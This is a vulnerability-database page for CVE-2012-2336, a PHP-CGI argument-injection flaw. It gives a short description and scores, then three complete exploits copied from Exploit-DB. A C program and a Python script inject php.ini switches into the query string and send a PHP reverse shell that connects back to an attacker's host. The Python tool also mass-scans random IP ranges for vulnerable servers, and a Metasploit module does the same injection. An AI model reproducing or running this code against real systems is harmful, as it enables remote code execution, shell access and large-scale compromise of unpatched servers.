CVE-2012-2336 : Detail

CVE-2012-2336

A03-Injection
4.54%V3
Network
2012-05-11
08h00 +00:00
2018-01-04
19h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

sapi/cgi/cgi_main.c in PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to cause a denial of service (resource consumption) by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'T' case. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1823.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 29290

Publication date : 2013-10-28 23h00 +00:00
Author : kingcope
EDB Verified : Yes

/* Apache Magica by Kingcope */ /* gcc apache-magika.c -o apache-magika -lssl */ /* This is a code execution bug in the combination of Apache and PHP. On Debian and Ubuntu the vulnerability is present in the default install of the php5-cgi package. When the php5-cgi package is installed on Debian and Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under /cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute the binary because this binary has a security check enabled when installed with Apache http server and this security check is circumvented by the exploit. When accessing the php-cgi binary the security check will block the request and will not execute the binary. In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security check is done when the php.ini configuration setting cgi.force_redirect is set and the php.ini configuration setting cgi.redirect_status_env is set to no. This makes it possible to execute the binary bypassing the Security check by setting these two php.ini settings. Prior to this code for the Security check getopt is called and it is possible to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the -d switch. If both values are set to zero and the request is sent to the server php-cgi gets fully executed and we can use the payload in the POST data field to execute arbitrary php and therefore we can execute programs on the system. apache-magika.c is an exploit that does exactly the prior described. It does support SSL. /* Affected and tested versions PHP 5.3.10 PHP 5.3.8-1 PHP 5.3.6-13 PHP 5.3.3 PHP 5.2.17 PHP 5.2.11 PHP 5.2.6-3 PHP 5.2.6+lenny16 with Suhosin-Patch Affected versions PHP prior to 5.3.12 PHP prior to 5.4.2 Unaffected versions PHP 4 - getopt parser unexploitable PHP 5.3.12 and up PHP 5.4.2 and up Unaffected versions are patched by CVE-2012-1823. */ /* . /'\rrq rk . // \\ . .x.//fco\\-|- '//cmtco\\zt //6meqrg.\\tq //_________\\' EJPGQO apache-magica.c by Kingcope */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <getopt.h> #include <sys/types.h> #include <stddef.h> #include <openssl/rand.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> typedef struct { int sockfd; SSL *handle; SSL_CTX *ctx; } connection; void usage(char *argv[]) { printf("usage: %s <--target target> <--port port> <--protocol http|https> " \ "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n", argv[0]); exit(1); } char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \ "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \ "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \ "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \ "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \ "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \ "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \ "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \ "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \ "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \ "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \ "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \ "Host: %s\r\n" \ "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \ "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \ "Content-Type: application/x-www-form-urlencoded\r\n" \ "Content-Length: %d\r\n" \ "Connection: close\r\n\r\n%s"; char phpstr[] = "<?php\n" \ "set_time_limit(0);\n" \ "$ip = '%s';\n" \ "$port = %d;\n" \ "$chunk_size = 1400;\n" \ "$write_a = null;\n" \ "$error_a = null;\n" \ "$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \ "$daemon = 0;\n" \ "$debug = 0;\n" \ "if (function_exists('pcntl_fork')) {\n" \ " $pid = pcntl_fork(); \n" \ " if ($pid == -1) {\n" \ " printit(\"ERROR: Can't fork\");\n" \ " exit(1);\n" \ " }\n" \ " if ($pid) {\n" \ " exit(0);\n" \ " }\n" \ " if (posix_setsid() == -1) {\n" \ " printit(\"Error: Can't setsid()\");\n" \ " exit(1);\n" \ " }\n" \ " $daemon = 1;\n" \ "} else {\n" \ " printit(\"WARNING: Failed to daemonise.\");\n" \ "}\n" \ "chdir(\"/\");\n" \ "umask(0);\n" \ "$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \ "if (!$sock) {\n" \ " printit(\"$errstr ($errno)\");\n" \ " exit(1);\n" \ "}\n" \ "$descriptorspec = array(\n" \ " 0 => array(\"pipe\", \"r\"),\n" \ " 1 => array(\"pipe\", \"w\"),\n" \ " 2 => array(\"pipe\", \"w\")\n" \ ");\n" \ "$process = proc_open($shell, $descriptorspec, $pipes);\n" \ "if (!is_resource($process)) {\n" \ " printit(\"ERROR: Can't spawn shell\");\n" \ " exit(1);\n" \ "}\n" \ "stream_set_blocking($pipes[0], 0);\n" \ "stream_set_blocking($pipes[1], 0);\n" \ "stream_set_blocking($pipes[2], 0);\n" \ "stream_set_blocking($sock, 0);\n" \ "while (1) {\n" \ " if (feof($sock)) {\n" \ " printit(\"ERROR: Shell connection terminated\");\n" \ " break;\n" \ " }\n" \ " if (feof($pipes[1])) {\n" \ " printit(\"ERROR: Shell process terminated\");\n" \ " break;\n" \ " }\n" \ " $read_a = array($sock, $pipes[1], $pipes[2]);\n" \ " $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \ " if (in_array($sock, $read_a)) {\n" \ " if ($debug) printit(\"SOCK READ\");\n" \ " $input = fread($sock, $chunk_size);\n" \ " if ($debug) printit(\"SOCK: $input\");\n" \ " fwrite($pipes[0], $input);\n" \ " }\n" \ " if (in_array($pipes[1], $read_a)) {\n" \ " if ($debug) printit(\"STDOUT READ\");\n" \ " $input = fread($pipes[1], $chunk_size);\n" \ " if ($debug) printit(\"STDOUT: $input\");\n" \ " fwrite($sock, $input);\n" \ " }\n" \ " if (in_array($pipes[2], $read_a)) {\n" \ " if ($debug) printit(\"STDERR READ\");\n" \ " $input = fread($pipes[2], $chunk_size);\n" \ " if ($debug) printit(\"STDERR: $input\");\n" \ " fwrite($sock, $input);\n" \ " }\n" \ "}\n" \ "\n" \ "fclose($sock);\n" \ "fclose($pipes[0]);\n" \ "fclose($pipes[1]);\n" \ "fclose($pipes[2]);\n" \ "proc_close($process);\n" \ "function printit ($string) {\n" \ " if (!$daemon) {\n" \ " print \"$string\n\";\n" \ " }\n" \ "}\n" \ "exit(1);\n" \ "?>"; struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port) { struct hostent *he; struct sockaddr_in server, *servercopy; if ((he=gethostbyname(hostname)) == NULL) { printf("Hostname cannot be resolved\n"); exit(255); } servercopy = malloc(sizeof(struct sockaddr_in)); if (!servercopy) { printf("malloc error (1)\n"); exit(255); } memset(&server, '\0', sizeof(struct sockaddr_in)); memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length); server.sin_family = AF_INET; server.sin_port = htons(port); memcpy(servercopy, &server, sizeof(struct sockaddr_in)); return servercopy; } char *sslread(connection *c) { char *rc = NULL; int received, count = 0, count2=0; char ch; for(;;) { if (!rc) rc = calloc(1024, sizeof (char) + 1); else if (count2 % 1024 == 0) { rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1); } received = SSL_read(c->handle, &ch, 1); if (received == 1) { rc[count++] = ch; count2++; if (count2 > 1024*5) break; } else break; } return rc; } char *read_(int sockfd) { char *rc = NULL; int received, count = 0, count2=0; char ch; for(;;) { if (!rc) rc = calloc(1024, sizeof (char) + 1); else if (count2 % 1024 == 0) { rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1); } received = read(sockfd, &ch, 1); if (received == 1) { rc[count++] = ch; count2++; if (count2 > 1024*5) break; } else break; } return rc; } void main(int argc, char *argv[]) { char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL, *interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL; char httpsflag=0; unsigned short port=0, reverseport=0; struct sockaddr_in *server; int sockfd; unsigned int writesize, tmpsize; unsigned int i; connection *sslconnection; printf("-== Apache Magika by Kingcope ==-\n"); for(;;) { int c; int option_index=0; static struct option long_options[] = { {"target", required_argument, 0, 0 }, {"port", required_argument, 0, 0 }, {"protocol", required_argument, 0, 0 }, {"reverse-ip", required_argument, 0, 0 }, {"reverse-port", required_argument, 0, 0 }, {"force-interpreter", required_argument, 0, 0 }, {0, 0, 0, 0 } }; c = getopt_long(argc, argv, "", long_options, &option_index); if (c < 0) break; switch (c) { case 0: switch (option_index) { case 0: if (optarg) { target = calloc(strlen(optarg)+1, sizeof(char)); if (!target) { printf("calloc error (2)\n"); exit(255); } memcpy(target, optarg, strlen(optarg)+1); } break; case 1: if(optarg) port = atoi(optarg); break; case 2: protocol = calloc(strlen(optarg)+1, sizeof(char)); if (!protocol) { printf("calloc error (3)\n"); exit(255); } memcpy(protocol, optarg, strlen(optarg)+1); if (!strcmp(protocol, "https")) httpsflag=1; break; case 3: reverseip = calloc(strlen(optarg)+1, sizeof(char)); if (!reverseip) { printf("calloc error (4)\n"); exit(255); } memcpy(reverseip, optarg, strlen(optarg)+1); break; case 4: reverseport = atoi(optarg); reverseportstr = calloc(strlen(optarg)+1, sizeof(char)); if (!reverseportstr) { printf("calloc error (5)\n"); exit(255); } memcpy(reverseportstr, optarg, strlen(optarg)+1); break; case 5: forceinterpreter = calloc(strlen(optarg)+1, sizeof(char)); if (!forceinterpreter) { printf("calloc error (6)\n"); exit(255); } memcpy(forceinterpreter, optarg, strlen(optarg)+1); break; default: usage(argv); } break; default: usage(argv); } } if ((optind < argc) || !target || !protocol || !port || !reverseip || !reverseport){ usage(argv); } server = gethostbyname_(target, port); if (!server) { printf("Error while resolving hostname. (7)\n"); exit(255); } char *interpreters[5]; int ninterpreters = 5; interpreters[0] = strdup("/cgi-bin/php"); interpreters[1] = strdup("/cgi-bin/php5"); interpreters[2] = strdup("/cgi-bin/php-cgi"); interpreters[3] = strdup("/cgi-bin/php.cgi"); interpreters[4] = strdup("/cgi-bin/php4"); for (i=0;i<ninterpreters;i++) { interpreter = interpreters[i]; if (forceinterpreter) { interpreter = strdup(forceinterpreter); } if (forceinterpreter && i) break; printf("%s\n", interpreter); sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 1) { printf("socket error (8)\n"); exit(255); } if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) < 0) { printf("connect error (9)\n"); exit(255); } if (httpsflag) { sslconnection = (connection*) malloc(sizeof(connection)); if (!sslconnection) { printf("malloc error (10)\n"); exit(255); } sslconnection->handle = NULL; sslconnection->ctx = NULL; SSL_library_init(); sslconnection->ctx = SSL_CTX_new(SSLv23_client_method()); if (!sslconnection->ctx) { printf("SSL_CTX_new error (11)\n"); exit(255); } sslconnection->handle = SSL_new(sslconnection->ctx); if (!sslconnection->handle) { printf("SSL_new error (12)\n"); exit(255); } if (!SSL_set_fd(sslconnection->handle, sockfd)) { printf("SSL_set_fd error (13)\n"); exit(255); } if (SSL_connect(sslconnection->handle) != 1) { printf("SSL_connect error (14)\n"); exit(255); } } tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64; tmpstr = (char*)calloc(tmpsize, sizeof(char)); snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport); writesize = strlen(target) + strlen(interpreter) + strlen(poststr) + strlen(tmpstr) + 64; writestr = (char*)calloc(writesize, sizeof(char)); snprintf(writestr, writesize, poststr, interpreter, target, strlen(tmpstr), tmpstr); if (!httpsflag) { write(sockfd, writestr, strlen(writestr)); readbuf = read_(sockfd); } else { SSL_write(sslconnection->handle, writestr, strlen(writestr)); readbuf = sslread(sslconnection); } if (readbuf) { printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf); } else { printf("read error (15)\n"); exit(255); } } exit(1); }
Exploit Database EDB-ID : 29316

Publication date : 2013-10-30 23h00 +00:00
Author : noptrix
EDB Verified : No

#!/usr/bin/env python # # ap-unlock-v1337.py - apache + php 5.* rem0te c0de execution exploit # # NOTE: # - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :((( # - for connect back shell start netcat/nc and bind port on given host:port # - is ip-range scanner not is multithreaded, but iz multithreaded iz in # random scanner and is scanner from file (greets to MustLive) # - more php paths can be added # - adjust this shit for windows b0xes # # 2013 # by noptrix - http://nullsecurity.net/ import sys, socket, argparse, threading, time, random, select, ssl NONE = 0 VULN = 1 SCMD = 2 XPLT = 3 t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \ '%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \ '%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \ '%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\ '%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\ 'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n' def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt): c0nn_b4ck = \ ''' <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''"; $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork(); if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) { exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) { printit("$errstr ($errno)");exit(1);}$descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port");while (1) { if (feof($sock)) {printit("ERROR: Shell connection terminated");break;} if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;} $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input");fwrite($sock, $input);} if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock); fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process); function printit ($string) {if (!$daemon) {print "$string\n";}}?> ''' return c0nn_b4ck def enc0dez(): n33dz1 = ('cgi-bin', 'php') n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d', 'suhosin.simulation=on', '-d', 'disable_functions=""', '-d', 'open_basedir=none', '-d', 'auto_prepend_file=php://input', '-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0', '-d', 'auto_prepend_file=php://input', '-n') fl4g = 0 arg5 = '' p4th = '' plus = '' for x in n33dz2: if fl4g == 1: plus = '+' arg5 = arg5 + plus + \ ''.join('%' + c.encode('utf-8').encode('hex') for c in x) fl4g = 1 for x in n33dz1: p4th = p4th + '/' + \ ''.join('%' + c.encode('utf-8').encode('hex') for c in x) return (p4th, arg5) def m4k3_p4yl0rd(p4yl0rd, m0de): p4th, arg5 = enc0dez() if m0de == VULN: p4yl0rd = t3st elif m0de == SCMD or m0de == XPLT: p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \ 'Host: ' + sys.argv[1] + '\r\n' \ 'Content-Type: application/x-www-form-urlencoded\r\n' \ 'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd return p4yl0rd def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck): pat = ('<b>Parse error</b>:', '<b>Warning</b>:') s = d0_c0nn3ct(args) try: ss = socket.ssl(s) except: print "-> n0 w3bs3rv3r 0n %s" % (args.h) return if m0de == VULN: p4yl0rd = m4k3_p4yl0rd('', m0de) ss.write(p4yl0rd) try: d4t4 = ss.read(8192) except: return for p in pat: if p in d4t4: print "-> " + args.h + " vu1n" return args.h else: if args.v: print "-> %s n0t vu1n" % (args.h) return elif m0de == SCMD: p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de) ss.write(p4yl0rd) rd, wd, ex = select.select([s], [], [], float(args.T)) if rd: for l1n3 in ss.read(): sys.stdout.write(l1n3) elif m0de == XPLT: p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de) ss.write(p4yl0rd) else: if args.v: print "-> n0 w3bs3rv3r 0n %s" % (args.h) return def s3nd_sh1t(args, m0de, c0nn_b4ck): pat = ('<b>Parse error</b>:', '<b>Warning</b>:') s = d0_c0nn3ct(args) if s: if m0de == VULN: p4yl0rd = m4k3_p4yl0rd('', m0de) s.sendall(p4yl0rd) try: d4t4 = s.recv(8192) except: return for p in pat: try: if p in d4t4: print "-> " + args.h + " vu1n" if args.f: wr1te_fil3(args) return args.h else: if args.v: print "-> %s n0t vu1n" % (args.h) return except: return elif m0de == SCMD: p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de) s.sendall(p4yl0rd) rd, wd, ex = select.select([s], [], [], float(args.T)) if rd: try: for l1n3 in s.makefile(): print l1n3, except: return elif m0de == XPLT: p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de) s.sendall(p4yl0rd) else: if args.v: print "-> c0uld n0t c0nn3ct t0 %s" % (args.h) return def d0_c0nn3ct(args): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(float(args.t)) res = s.connect_ex((args.h, int(args.p))) if res == 0: return s except socket.error: return return def m4k3_r4nd_1p4ddr(num): h0sts = [] for x in range(int(num)): h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255), random.randrange(0,255), random.randrange(0,255), random.randrange(0,255))) return h0sts def d0_sc4n(args, h0st, m0de, vu1nz, rsa, rsb): args.h = h0st.rstrip() if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) return def sc4n_r4ng3(args, m0de, rsa, rsb): vu1nz = [] for i in range (rsa[0], rsb[0]): for j in range (rsa[1], rsb[1]): for k in range (rsa[2], rsb[2]): for l in range(rsa[3], rsb[3]): args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l) if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) return def m4k3_ipv4_r4ng3(iprange): a = tuple(part for part in iprange.split('.')) rsa = (range(4)) rsb = (range(4)) for i in range(0,4): ga = a[i].find('-') if ga != -1: rsa[i] = int(a[i][:ga]) rsb[i] = int(a[i][1+ga:]) + 1 else: rsa[i] = int(a[i]) rsb[i] = int(a[i]) + 1 return (rsa, rsb) def parse_args(): p = argparse.ArgumentParser( usage='\n\n ./ap-unlock-v1337.py -h <4rg> -s | -c <4rg> | -x <4rg> ' \ '[0pt1ons]\n ./ap-unlock-v1337.py -r <4rg> | -R <4rg> | -i <4rg>'\ ' [0pt1ons]', formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False) opts = p.add_argument_group('0pt1ons', '') opts.add_argument('-h', metavar='wh1t3h4tz.0rg', help='| t3st s1ngle h0st f0r vu1n') opts.add_argument('-p', default=80, metavar='80', help='| t4rg3t p0rt (d3fau1t: 80)') opts.add_argument('-S', action='store_true', help='| c0nn3ct thr0ugh ss1') opts.add_argument('-c', metavar='\'uname -a;id\'', help='| s3nd c0mm4nds t0 h0st') opts.add_argument('-x', metavar='192.168.0.2:1337', help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll') opts.add_argument('-s', action='store_true', help='| t3st s1ngl3 h0st f0r vu1n') opts.add_argument('-r', metavar='133.1.3-7.7-37', help='| sc4nz iP addr3ss r4ng3 f0r vu1n') opts.add_argument('-R', metavar='1337', help='| sc4nz num r4nd0m h0st5 f0r vu1n') opts.add_argument('-t', default=2, metavar='2', help='| c0nn3ct t1me0ut in s3x (d3fau1t: 3)') opts.add_argument('-T', default=2, metavar='2', help='| r3ad t1me0ut in s3x (d3fau1t: 3)') opts.add_argument('-f', metavar='vu1n.lst', help='| wr1t3 vu1n h0sts t0 f1l3') opts.add_argument('-i', metavar='sc4nz.lst', help='| sc4nz h0sts fr0m f1le f0r vu1n') opts.add_argument('-v', action='store_true', help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng') args = p.parse_args() if not args.h and not args.r and not args.R and not args.i: p.print_help() sys.exit(0) return args def wr1te_fil3(args): try: f = open(args.f, "a+") f.write(args.h + "\n") f.close() except: sys.stderr.write('[-] 3rr0r: de1n3 mudd1 k0cht guT') sys.stderr.write('\n') raise SystemExit() return def run_threads(args, h0sts, m0de, vu1nz, rsa, rsb): num_h0sts = len(h0sts) num = 0 try: if args.r: sc4n_r4ng3(args, m0de, rsa, rsb) else: for h0st in h0sts: num += 1 if args.v: sys.stdout.flush() sys.stdout.write("[" + str(num) + "/" + str(num_h0sts) + "] ") else: sys.stdout.flush() sys.stdout.write("\r[+] h0sts sc4nn3d: " + str(num) + "/" + str(num_h0sts) + " \b") t = threading.Thread(target=d0_sc4n, args=(args, h0st, m0de, vu1nz, None, None)) t.start() t.join() except KeyboardInterrupt: sys.stdout.flush() sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n") raise SystemExit return def c0ntr0ller(): vu1nz = [] m0de = NONE try: args = parse_args() if args.h: if args.s: print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h) m0de = VULN if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) elif args.c: print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h) m0de = SCMD if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) elif args.x: print "[+] xpl0it1ng b0x %s " % (args.h) m0de = XPLT if args.x.find(':') != -1: if not args.x.split(':')[1]: print "[-] 3rr0r: p0rt m1ss1ng" else: cb_h0st = args.x.split(':')[0] cb_p0rt = args.x.split(':')[1] else: print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r" c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt) if args.S: s3nd_sh1t_ss1(args, m0de, c0nn_b4ck) else: s3nd_sh1t(args, m0de, c0nn_b4ck) else: print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch" sys.exit(-1) if args.r: print "[+] sc4nn1ng r4ng3 %s " % (args.r) m0de = VULN rsa, rsb = m4k3_ipv4_r4ng3(args.r) run_threads(args, None, m0de, None, rsa, rsb) if args.R: print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R)) m0de = VULN h0sts = m4k3_r4nd_1p4ddr(int(args.R)) run_threads(args, h0sts, m0de, vu1nz, None, None) if args.i: print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i) m0de = VULN h0sts = tuple(open(args.i, 'r')) run_threads(args, h0sts, m0de, vu1nz, None, None) except KeyboardInterrupt: sys.stdout.flush() sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n") raise SystemExit return def m41n(): if __name__ == "__main__": print "--==[ ap-unlock-v1337.py by [email protected] ]==--" c0ntr0ller() else: print "[-] 3rr0r: y0u fuck3d up dud3" sys.exit(1) print "[+] h0p3 1t h3lp3d" # \o/ fr33 requiem 1337 h4x0rs ... m41n() # e0F
Exploit Database EDB-ID : 18834

Publication date : 2012-05-03 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHP CGI Argument Injection', 'Description' => %q{ When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." }, 'Author' => [ 'egypt', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ "CVE" , "2012-1823" ], [ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144, # 256k }, 'DisclosureDate' => 'May 03 2012', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]), ], self.class) end # php-cgi -h # ... # -s Display colour syntax highlighted source. def check uri = target_uri.path uri.gsub!(/\?.*/, "") print_status("Checking uri #{uri}") response = send_request_raw({ 'uri' => uri }) if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable") return Exploit::CheckCode::Unknown end response = send_request_raw({ 'uri' => uri + '?-s'}) if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi return Exploit::CheckCode::Vulnerable end print_error("Server responded indicating it was not vulnerable") return Exploit::CheckCode::Safe end def exploit begin args = [ "-d+allow_url_include%3d#{rand_php_ini_true}", "-d+safe_mode%3d#{rand_php_ini_false}", "-d+suhosin.simulation%3d#{rand_php_ini_true}", "-d+disable_functions%3d%22%22", "-d+open_basedir%3dnone", "-d+auto_prepend_file%3dphp://input", "-n" ] qs = args.join("+") uri = "#{target_uri}?#{qs}" # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "") response = send_request_cgi( { 'method' => "POST", 'global' => true, 'uri' => uri, 'data' => payload_oneline, }, 0.5) handler rescue ::Interrupt raise $! rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused print_error("The target service unreachable") rescue ::OpenSSL::SSL::SSLError print_error("The target failed to negotiate SSL, is this really an SSL service?") end end def rand_php_ini_false Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)]) end def rand_php_ini_true Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)]) end end
Exploit Database EDB-ID : 18836

Publication date : 2012-05-04 22h00 +00:00
Author : rayh4c
EDB Verified : Yes

